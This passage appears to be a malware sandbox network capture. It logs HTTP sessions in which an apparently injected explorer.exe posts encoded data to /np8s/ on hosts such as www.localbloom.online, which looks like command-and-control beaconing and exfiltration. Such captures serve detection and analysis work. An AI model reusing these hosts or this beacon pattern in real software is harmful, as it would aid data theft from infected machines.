2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6c 75 67 69 6e 73 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 77 70 6b 52 65 70 6f 72 74 65 72 26 26 28 77 69 6e 64 6f 77 2e 77 70 6b 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 77 70 6b 52 65 70 6f 72 74 65 72 28 7b 62 69 64 3a 22 62 65 72 67 2d 64 6f 77 6e 6c 6f 61 64 22 2c 72 65 6c 3a 22 32 2e 32 38 2e 31 22 2c 73 61 6d 70 6c 65 52 61 74 65 3a 31 2c 70 6c 75 67 69 6e 73 3a 5b 5b 77 69 6e 64 6f 77 2e 77 70 6b 67 6c 6f 62 61 6c 65 72 72 6f 72 50 6c 75 67 69 6e 2c 7b 6a 73 45 72 72 3a 21 30 2c 6a 73 45 72 72 53 61 6d 70 6c 65 52 61 74 65 3a 31 2c 72 65 73 45 72 72 3a 21 30 2c 72 65 73 45 72 72 53 61 6d 70 6c 65 52 61 74 65 3a 31 7d 5d 2c 5b 77 69 6e 64 6f 77 2e 77 70 6b 70 65 72 66 6f 72 6d 61 6e 63 65 50 6c 75 67 69 6e 2c 7b 65 6e 61 62 6c 65 3a 21 30 2c 73 61 6d 70 6c 65 52 61 74 65 3a 2e 35 7d 5d 5d 7d 29 2c 77 69 6e 64 6f 77 2e 77 70 6b 2e 69 6e 73 74 61 6c 6c 28 29 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 42 61 69 64 75 48 6d 74 28 74 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e7 99 be e5 ba a6 e7 bb 9f e8 ae a1 22 2c 74 29 3b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 65 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 22 2b 74 3b 76 61 72 20 6f 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 62 61 69 64 75 50 75 73 68 28 74 2c 65 2c 6f 29 7b 77 69 6e 64 6f 77 2e 5f 68 6d 74 2e 70 75 73 68 28 5b 22 5f 74 72 61 63 6b 45 76 65 6e 74 22 2c 74 2c Data Ascii: <!doctype html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js" crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js" crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js" crossorigin="true"></script><script>window.wpkReporter&&(window.wpk=new window.wpkReporter({bid:"berg-download",rel:"2.28.1",sampleRate:1,plugins:[[window.wpkglobalerrorPlugin,{jsErr:!0,jsErrSampleRate:1,resErr:!0,resErrSampleRate:1}],[window.wpkperformancePlugin,{enable:!0,sampleRate:.5}]]}),window.wpk.install())</script><script>function loadBaiduHmt(t){console.log("",t);var e=document.createElement("script");e.src="https://hm.baidu.com/hm.js?"+t;var o=document.getElementsByTagName("script")[0];o.parentNode.insertBefore(e,o)}function baiduPush(t,e,o){window._hmt.push(["_trackEvent",t,
May 27, 2022 18:42:12.665915012 CEST	995	IN	Data Raw: 65 2c 6f 5d 29 7d 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e5 8a a0 e8 bd bd e7 99 be e5 ba a6 e7 bb 9f e8 ae a1 e8 84 9a e6 9c ac 2e 2e 2e 22 29 2c 77 69 6e 64 6f 77 2e 5f 68 6d 74 3d 77 69 6e 64 6f 77 2e 5f 68 6d 74 7c 7c 5b 5d 3b 63 6f 6e 73 74 Data Ascii: e,o])}console.log("..."),window._hmt=window._hmt\|\|[];const BUILD_ENV="quark",token="42296466acbd6a1e84224ab1433a06cc";loadBaiduHmt(token)</script><script>function send(n){(new Image).src=n}function reportLoading(n){n=n\|
May 27, 2022 18:42:12.665961027 CEST	996	IN	Data Raw: 6c 61 63 65 28 2f 25 32 30 2f 67 2c 22 2b 22 29 2c 73 3d 22 22 2e 63 6f 6e 63 61 74 28 22 68 74 74 70 73 3a 2f 2f 74 72 61 63 6b 2e 75 63 2e 63 6e 2f 63 6f 6c 6c 65 63 74 22 2c 22 3f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 26 22 29 2e 63 6f 6e 63 Data Ascii: lace(/%20/g,"+"),s="".concat("https://track.uc.cn/collect","?").concat(c,"&").concat("uc_param_str=dsfrpfvedncpssntnwbipreimeutsv");(o()\|\|r())&&"android"===function(){var n=window.navigator.userAgent.toLowerCase();return window.ucweb?"android"
May 27, 2022 18:42:12.665992975 CEST	996	IN	Data Raw: 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 24 73 63 72 69 70 74 31 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 24 73 63 72 69 70 74 31 2e 73 65 74 41 74 74 72 Data Ascii: ntsByTagName("head")[0],$script1=document.createElement("script");$script1.setAttribute("cross
May 27, 2022 18:42:12.679924965 CEST	998	IN	Data Raw: 6f 72 69 67 69 6e 22 2c 22 61 6e 6f 6e 79 6d 6f 75 73 22 29 2c 24 73 63 72 69 70 74 31 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 2f 2f 69 6d 61 67 65 2e 75 63 2e 63 6e 2f 73 2f 75 61 65 2f 67 2f 30 31 2f 77 65 6c 66 61 72 65 Data Ascii: origin","anonymous"),$script1.setAttribute("src","//image.uc.cn/s/uae/g/01/welfareagency/vconsole.min-3.3.0.js"),$head.insertBefore($script1,$head.lastChild),$script1.onload=function(){var e=document.createElement("script");e.setAttribute("cro
May 27, 2022 18:42:12.679999113 CEST	998	IN	Data Raw: 74 70 73 3a 2f 2f 69 6d 61 67 65 2e 75 63 2e 63 6e 2f 73 2f 75 61 65 2f 67 2f 33 6f 2f 62 65 72 67 2f 73 74 61 74 69 63 2f 61 72 63 68 65 72 5f 69 6e 64 65 78 2e 31 63 33 37 38 34 31 37 31 39 32 33 30 39 62 30 61 38 32 37 2e 6a 73 22 3e 3c 2f 73 Data Ascii: tps://image.uc.cn/s/uae/g/3o/berg/static/archer_index.1c378417192309b0a827.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49892	170.39.76.27	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:24.808360100 CEST	9539	OUT	GET /np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl HTTP/1.1 Host: www.jlbwaterdamagerepairseattle.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:43:24.950850010 CEST	9564	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html content-length: 584 date: Fri, 27 May 2022 16:43:24 GMT server: LiteSpeed vary: User-Agent,User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6e 70 38 73 2f 3f 34 68 4d 34 3d 6f 34 42 30 66 26 61 6d 70 3b 7a 56 42 3d 64 2f 6e 73 74 45 66 4a 6a 36 45 71 48 49 61 6f 36 33 46 4a 30 73 39 47 75 71 41 39 35 4b 51 48 6f 71 74 61 6b 74 6a 72 39 2f 70 32 6a 48 77 6c 6b 43 51 33 79 68 43 45 6f 31 53 55 72 53 51 6b 35 6e 5a 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 48 52 3e 0a 3c 49 3e 77 77 77 2e 6a 6c 62 77 61 74 65 72 64 61 6d 61 67 65 72 65 70 61 69 72 73 65 61 74 74 6c 65 2e 63 6f 6d 3c 2f 49 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl was not found on this server.<HR><I>www.jlbwaterdamagerepairseattle.com</I></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49901	185.134.245.113	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:35.083694935 CEST	9574	OUT	POST /np8s/ HTTP/1.1 Host: www.localbloom.online Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.localbloom.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.localbloom.online/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 68 62 51 6a 45 64 37 4f 55 73 31 78 6c 61 46 55 36 51 47 50 31 73 33 44 33 6f 39 35 66 51 5a 58 33 30 42 61 73 6c 52 6c 74 6f 63 45 41 68 31 75 4d 67 6f 45 50 46 55 61 4f 4b 4d 63 6b 6a 4e 79 44 6b 7e 62 44 79 68 4f 66 59 51 73 46 65 52 36 78 57 55 33 43 52 39 57 46 51 68 75 67 6a 48 37 6b 68 36 55 62 74 78 5a 54 32 52 67 4c 51 75 63 59 53 4f 58 4a 35 55 75 46 58 69 6a 28 67 61 63 73 4c 59 4a 4a 49 59 36 4e 55 34 4f 54 74 6c 53 39 35 77 70 36 69 55 67 64 4d 6c 77 4b 46 64 77 79 73 63 50 4c 50 4f 39 38 5f 50 67 70 61 33 56 59 67 57 6d 5a 6c 46 41 6f 4f 78 76 28 6c 6a 4b 36 38 51 4b 6a 5f 54 78 43 66 49 65 61 42 71 6c 66 55 59 56 35 38 54 4b 47 43 30 4d 6f 52 71 49 53 70 72 56 36 46 54 77 42 57 69 44 35 38 42 4f 44 61 43 4d 7e 6c 68 45 6f 63 45 7a 46 66 7a 43 54 63 58 66 6c 4e 4f 71 34 4e 61 74 7a 44 51 48 43 43 73 41 72 44 34 30 49 34 6a 6c 65 56 66 58 79 37 58 53 7a 33 4a 72 74 4e 57 33 57 61 54 39 76 59 69 78 72 48 31 73 4d 44 36 7a 6a 45 56 59 54 51 6c 51 37 63 4b 47 49 6f 67 68 64 67 4b 4d 6b 41 68 4c 6c 51 6c 69 72 34 49 71 7e 30 30 66 4e 41 43 63 71 37 28 42 78 6c 56 4e 43 33 32 49 34 71 6f 55 75 74 44 68 6b 51 36 62 4d 7a 66 78 4c 65 44 46 43 35 67 79 70 42 6c 57 53 4c 44 38 70 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=hbQjEd7OUs1xlaFU6QGP1s3D3o95fQZX30BaslRltocEAh1uMgoEPFUaOKMckjNyDk~bDyhOfYQsFeR6xWU3CR9WFQhugjH7kh6UbtxZT2RgLQucYSOXJ5UuFXij(gacsLYJJIY6NU4OTtlS95wp6iUgdMlwKFdwyscPLPO98_Pgpa3VYgWmZlFAoOxv(ljK68QKj_TxCfIeaBqlfUYV58TKGC0MoRqISprV6FTwBWiD58BODaCM~lhEocEzFfzCTcXflNOq4NatzDQHCCsArD40I4jleVfXy7XSz3JrtNW3WaT9vYixrH1sMD6zjEVYTQlQ7cKGIoghdgKMkAhLlQlir4Iq~00fNACcq7(BxlVNC32I4qoUutDhkQ6bMzfxLeDFC5gypBlWSLD8pw).
May 27, 2022 18:43:35.127604961 CEST	9575	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Fri, 27 May 2022 16:43:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 61 36 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a6<html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49902	185.134.245.113	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:35.153592110 CEST	9588	OUT	POST /np8s/ HTTP/1.1 Host: www.localbloom.online Connection: close Content-Length: 36477 Cache-Control: no-cache Origin: http://www.localbloom.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.localbloom.online/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 68 62 51 6a 45 59 54 69 62 5f 78 73 37 61 4a 6e 33 46 53 62 36 38 6e 37 31 59 34 6f 54 79 74 55 6d 32 70 4f 69 46 67 56 73 70 6b 6b 48 53 42 50 49 6e 6c 52 50 42 5a 2d 4b 5f 6b 59 33 54 42 7a 44 6b 33 36 44 79 6c 4f 65 59 49 61 46 2d 68 45 79 31 73 30 45 78 39 6d 45 51 68 4e 6b 6e 48 47 6b 68 75 36 62 74 35 7a 54 6d 64 67 4e 7a 47 63 4d 68 6d 63 55 4a 55 6b 5a 48 79 5f 69 77 47 72 73 4c 51 72 4a 49 6b 36 4f 6b 30 4f 56 4e 31 64 32 61 59 6d 39 79 55 68 58 73 6c 70 54 56 67 4a 79 73 49 74 4c 4f 79 39 39 4e 62 67 34 61 58 56 61 52 57 6e 57 31 46 5a 73 4f 78 75 37 6c 28 62 36 38 4d 4f 6a 37 71 47 43 4f 38 65 49 68 71 67 59 47 35 71 71 37 48 5a 45 43 42 63 6f 52 6d 74 63 64 79 54 36 42 43 72 58 54 76 37 37 65 70 77 44 59 75 6d 79 6c 68 41 39 73 46 6e 46 66 79 5f 54 63 58 68 6c 4e 65 71 34 4c 61 74 7a 58 38 48 45 48 34 42 30 6a 34 78 4d 34 6a 33 61 56 6a 76 79 36 28 6f 7a 32 6c 37 71 36 6d 33 58 50 37 39 6e 62 4b 79 77 48 30 70 42 6a 36 52 7e 30 55 50 54 51 6c 32 37 64 4b 6f 49 2d 6b 68 50 46 6d 4d 6a 6d 56 4c 70 41 6c 69 6b 59 49 73 72 45 34 50 4e 41 61 59 71 37 50 72 78 57 35 4e 42 6c 7e 49 37 4c 6f 55 39 4e 44 68 6f 77 37 5a 66 6a 7a 31 4f 38 37 44 42 5a 56 4e 30 67 30 41 55 34 4f 79 35 6d 30 67 71 48 30 47 4b 57 50 51 37 77 6f 37 4f 4b 45 62 79 49 28 36 4e 41 4e 6d 6d 57 68 41 71 49 37 56 55 47 76 78 4a 6d 76 55 54 58 39 42 72 79 63 47 56 39 34 65 37 6c 45 44 49 69 37 5a 64 44 76 59 43 41 52 39 39 4f 4f 2d 61 75 7e 47 6b 68 63 77 5a 32 6e 5a 57 34 43 32 52 78 41 44 68 65 4e 66 38 31 76 70 69 61 52 78 52 42 53 72 58 6c 66 68 73 6e 39 53 47 37 32 74 51 35 33 36 6b 50 6b 68 36 6b 73 59 7a 2d 30 48 43 45 55 4c 63 52 48 6f 7a 6a 58 63 4d 45 6f 75 70 36 48 4d 72 44 71 59 6c 4e 49 6c 51 38 63 43 6d 32 51 44 4b 52 47 66 74 6e 62 63 6e 4b 32 55 67 6a 47 70 4e 33 4d 37 6d 42 38 4f 77 53 64 7a 30 69 46 73 4a 70 70 6f 64 45 47 4a 6a 69 36 4a 64 43 4e 6e 70 7a 71 69 62 66 4f 4f 53 67 69 33 56 54 68 37 6f 76 4e 4b 68 5f 73 42 66 34 33 6e 4e 4d 35 34 4b 38 75 66 61 44 41 6d 73 64 62 62 31 57 36 54 53 67 6f 4d 71 75 64 66 28 77 59 2d 6a 72 48 65 4b 33 6a 6c 57 6e 65 39 74 2d 45 77 30 58 66 53 74 4b 61 70 6c 34 4b 6b 4d 59 76 69 43 5f 7e 75 72 45 64 48 63 71 56 44 6b 4b 4f 56 4f 6d 42 41 54 47 4c 37 59 30 35 68 61 77 5a 55 32 74 61 38 6d 4f 50 58 4f 58 47 64 67 33 46 4e 49 51 46 65 30 2d 5a 45 6b 74 6e 57 65 45 30 78 6a 31 78 76 39 39 56 6d 4d 76 55 6c 71 6b 56 6f 63 6f 4b 43 6d 58 78 67 44 59 4d 34 62 73 4a 44 4c 51 37 55 30 6a 4d 6d 61 6b 6c 6e 74 6e 32 78 33 4c 79 7a 45 44 64 4b 4a 35 69 57 49 39 57 6a 44 46 6f 64 4e 4f 61 58 32 43 31 64 77 54 70 32 35 5a 73 49 5a 74 38 35 79 69 65 53 6a 53 33 64 4c 43 63 53 64 51 28 6f 59 45 72 79 4f 56 4a 75 73 58 36 54 77 32 54 50 59 61 76 59 76 6d 78 49 77 66 4a 57 74 59 6c 4e 32 6c 37 39 47 4e 4b 32 57 4d 34 72 77 6e 6f 36 4d 78 5a 66 41 57 6c 4b 6c 37 6f 43 74 4f 71 7a 49 72 78 65 5a 41 68 6e 61 56 75 6b 57 58 4d 4f 63 78 42 50 76 54 4c 72 4e 41 46 65 61 45 6d 7a 73 34 7e 58 39 61 4e 4e 69 32 42 6b 69 74 43 48 44 46 58 44 6b 72 6c 47 71 2d 52 55 32 6a 4d 68 45 65 41 73 52 62 6d 74 35 35 37 62 7a 4c 65 4c 4c 7a 72 35 46 49 35 75 65 65 50 44 6e 79 78 57 31 4c 46 76 68 45 65 38 58 57 44 34 6f 7a 7a 6d 42 64 6b 66 74 45 54 66 57 5a 38 6c 74 62 34 69 57 31 46 52 54 56 51 6a 41 46 41 71 6f 64 55 79 5a 48 4c 5a 37 76 50 78 33 4b 6b 70 58 78 7a 48 45 55 62 4c 34 58 61 41 67 62 70 52 33 6a 6b 45 38 6f 49 4a 76 79 59 47 4b 41 63 4f 74 30 6b 4f 53 58 58 77 79 4b 5a 77 48 5f 57 6e 72 68 44 30 32 77 66 77 35 4e 53 2d 6d 6c 65 32 65 4f 49 5a 4a 6d 41 32 68 57 4d 76 50 4f 35 41 6e 70 7a 47 64 68 71 67 74 37 6c 43 44 34 6a 45 73 43 78 59 46 77 64 6d 6b 6f 6a 6a 57 56 6d 32 4f 68 54 4a 43 41 45 48 69 79 4c 63 75 4f 64 65 79 77 62 41 50 6f 38 6c 64 5f 41 43 6b 6d 52 4b 49 33 64 68 74 36 36 4b 6d 79 6a 62 45 55 31 45 6a 6d 44 55 74 58 31 68 43 53 6a 5a 67 66 54 4b 7e 6a 63 76 70 63 59 67 4e 35 71 41 77 78 43 5f 28 75 59 56 65 5f 32 66 5a 52 46 53 49 74 39 43 6f 65 44 6b 36 2d 48 31 30 33 30 30 73 6c 33 41 65 4c 30 47 63 43 34 5f 6f 35 4a 49 6d 7a 42 68 71 74 73 30 6d 2d 34 34 79 52 62 49 64 49 38 Data Ascii: zVB=hbQjEYTib_xs7aJn3FSb68n71Y4oTytUm2pOiFgVspkkHSBPInlRPBZ-K_kY3TBzDk36DylOeYIaF-hEy1s0Ex9mEQhNknHGkhu6bt5zTmdgNzGcMhmcUJUkZHy_iwGrsLQrJIk6Ok0OVN1d2aYm9yUhXslpTVgJysItLOy99Nbg4aXVaRWnW1FZsOxu7l(b68MOj7qGCO8eIhqgYG5qq7HZECBcoRmtcdyT6BCrXTv77epwDYumylhA9sFnFfy_TcXhlNeq4LatzX8HEH4B0j4xM4j3aVjvy6(oz2l7q6m3XP79nbKywH0pBj6R~0UPTQl27dKoI-khPFmMjmVLpAlikYIsrE4PNAaYq7PrxW5NBl~I7LoU9NDhow7Zfjz1O87DBZVN0g0AU4Oy5m0gqH0GKWPQ7wo7OKEbyI(6NANmmWhAqI7VUGvxJmvUTX9BrycGV94e7lEDIi7ZdDvYCAR99OO-au~GkhcwZ2nZW4C2RxADheNf81vpiaRxRBSrXlfhsn9SG72tQ536kPkh6ksYz-0HCEULcRHozjXcMEoup6HMrDqYlNIlQ8cCm2QDKRGftnbcnK2UgjGpN3M7mB8OwSdz0iFsJppodEGJji6JdCNnpzqibfOOSgi3VTh7ovNKh_sBf43nNM54K8ufaDAmsdbb1W6TSgoMqudf(wY-jrHeK3jlWne9t-Ew0XfStKapl4KkMYviC_~urEdHcqVDkKOVOmBATGL7Y05hawZU2ta8mOPXOXGdg3FNIQFe0-ZEktnWeE0xj1xv99VmMvUlqkVocoKCmXxgDYM4bsJDLQ7U0jMmaklntn2x3LyzEDdKJ5iWI9WjDFodNOaX2C1dwTp25ZsIZt85yieSjS3dLCcSdQ(oYEryOVJusX6Tw2TPYavYvmxIwfJWtYlN2l79GNK2WM4rwno6MxZfAWlKl7oCtOqzIrxeZAhnaVukWXMOcxBPvTLrNAFeaEmzs4~X9aNNi2BkitCHDFXDkrlGq-RU2jMhEeAsRbmt557bzLeLLzr5FI5ueePDnyxW1LFvhEe8XWD4ozzmBdkftETfWZ8ltb4iW1FRTVQjAFAqodUyZHLZ7vPx3KkpXxzHEUbL4XaAgbpR3jkE8oIJvyYGKAcOt0kOSXXwyKZwH_WnrhD02wfw5NS-mle2eOIZJmA2hWMvPO5AnpzGdhqgt7lCD4jEsCxYFwdmkojjWVm2OhTJCAEHiyLcuOdeywbAPo8ld_ACkmRKI3dht66KmyjbEU1EjmDUtX1hCSjZgfTK~jcvpcYgN5qAwxC_(uYVe_2fZRFSIt9CoeDk6-H10300sl3AeL0GcC4_o5JImzBhqts0m-44yRbIdI8CHIJWMZ61ysnW~T60v8iYC_gIV7Af7sgxDv4NQLNCj76gtvLSRv6sh7lEFBI8p0jKwoMSr4NCUq8l07ANwdVJZHY8I2v8MjOMqPZBPLQwKIU0fP4E2E82kZ42DTaHzPyqG4c4~H78cSY2FzTQ54Up~goLthU5cbzfBwqyE4y3JyPyfPTpcuOpprLojqKqvyjEKqceCicToV5BIJ3sRfk3nywZ3aUyRtCq~CD9sqV2uU(iFIzAEjD9xzvwCIGGc_cGcqHPY2V2FxlxVSw68Ll4mG9ciFwAsXasoquG1YOnuj0Tq0UrEbkng-LOYXBtcHGx6_H0O-r8M4OfoNZI2G0Frlkrf6KhdTgNRtdrnj1NBV0HAyP6aJB_oeGBj7POGmAaLVTgkIyKdAQoF0od42WtKg(ZaTrQIhmcf1ceVH3l4pzwfPuohDqBuxfD1OjIX7nDmxxQxvbe4kNzXjDrvPvMzYMb1Xh8XVx3KdtnQRfHY3Ok8FN-8r09xWnqRkJzsjf0donhFWZZ6vUqN_qbtsvPxAOHYumhmoHzbbIyjPjFptCEOGPgzmZ88t3OK2Egn8jRkhDSn6NmY6hgo1uSuK38OMn812E68nC2QdVVxSoI8yUIqyDHdqrFpav95e05iovN(grE(yQdRfkCT6C1k4GGBMdZlYDGg2caA5M3y5Tu(5dok7R4ZsGwwIKE~KhuY68WklnGid7cTbV9LovWhRXik89H(dcra9pVCSrnCcF4zhBCZmqm3eSTHHgxysBlHNfi0Woba4pFrRyF3hQC30BwpYKfseDVlEyoqcVIBAb0ka0FTAgNP33QH6lQ~E34mUum4Kzi1uzqqS1q1Ft8k81PaxYzyFfu03GLl7Z2hz0Ndh8zVTFE37nX1XEd2y50sIjdDoxsXG~U0APbw3FqLnY3i_v7Im(3c-j6hsdmHreWDr~4psTPxS88SjnK4z2Rosi_1e6G9h0PvFQ-m8KicbP3PYeniuo3AqHANrMYeJ(gPGzxgdd3VSFgswXkHWVm7cMr8lRaoSCQGqicUBqJvPTQtXIVHw(LPgMapGh79CsLF0Wc6ozGd7piH6OIczSNnDorlgJhvgjzN1XLfqiD17Nz6zmunl2vzbxhLnWGVnCX7Z7XHLgifMr0paC6C15sG5WwpX8VtIfgjtxzdTm87Y(pwfIAeRp3GQHoWXenC9KZr5mIJfZCcpfZvnEYjY9E6OWPWatehf5UBVcOK2jP3wRuF4p7V4xrwd9fyzgAmV~ekqYN2-HsUmg7eK2shkUPVTI-fxMlWcghNx4RYsvczaMqYNqn9Bpd5LJrnYUZYpSXCCig9WBwgn10o38bYOcpCZjrp6Rzg6fepVQewus4gYIHtRtFSo9xxbbS8J5_(KRF34nXwsfc1XPDOr5V1PV3fTZFFGdvBYtsH7vIIOzkeouNCmwsdsIYmt7F0giXRFisoyF_ijXvz58dbEi5BdRMCkpUqN1jasRkUy0xkrqZ4JB9ZxSW9fJDbulLrcX8W5f11SvM2-iYs5Z5TeK-FvJXyt(S8iGhRRc98aNETz0XpNPbNxvMqEOdzDyYUO5tttCU76Icda~AkdZzO0KQmdHg3VVDn4J-zB~HFN312ASmKsILDs~4LUAuXasyZL5t6wdm456NxNbERm338EM1BomoYEW5fr4qT3ISGG61YzhBkeqXTeRo1Hi_XeY5Vfen06YSfMWLXnRjoorli7afM33HJNplDq0wV47CFudIJo0mT1zWk2b00I72N2B7C7K4Y-UefqSRajvEXbJVao70aVZWShWZEwaullreBm25Vc3Np6S4VyrdLyF9CbXW2OdPGaf_m5TBeVZ3Dp1va_n9k36ZnCWQYPHNnqhHwy~iWm3vBvh8c9DVu6hVnoaFiKzCxy~ADTbi1xyxPmhvMxSbI14tQNd9eMjW77Ra~3rS1OC_E7sSQFR8F-L1KoXzFKNsIXxqIzTSjjk-rDhETMQmdjz5C7mg5p6rki9iEqxp1VfL7ieg9ZoUexW1EkvLzyuKufX00R(6m_tOsy4IEsk9TX5T~LBUoL(-z2YJChcKGjI13Wo0Lbm6e_FUQiW_xX3oz6(N3XvWfE2iXeULAMsHr85JxRCVn2LzG302V6sLOiCMbHJ6i2jEXiR2bKET6cw044HWP_lZ(UAzISjEfqbaBIxsDYDKhteMttZcdPCvaSu_fEkP(vQS4DKMNKMn9B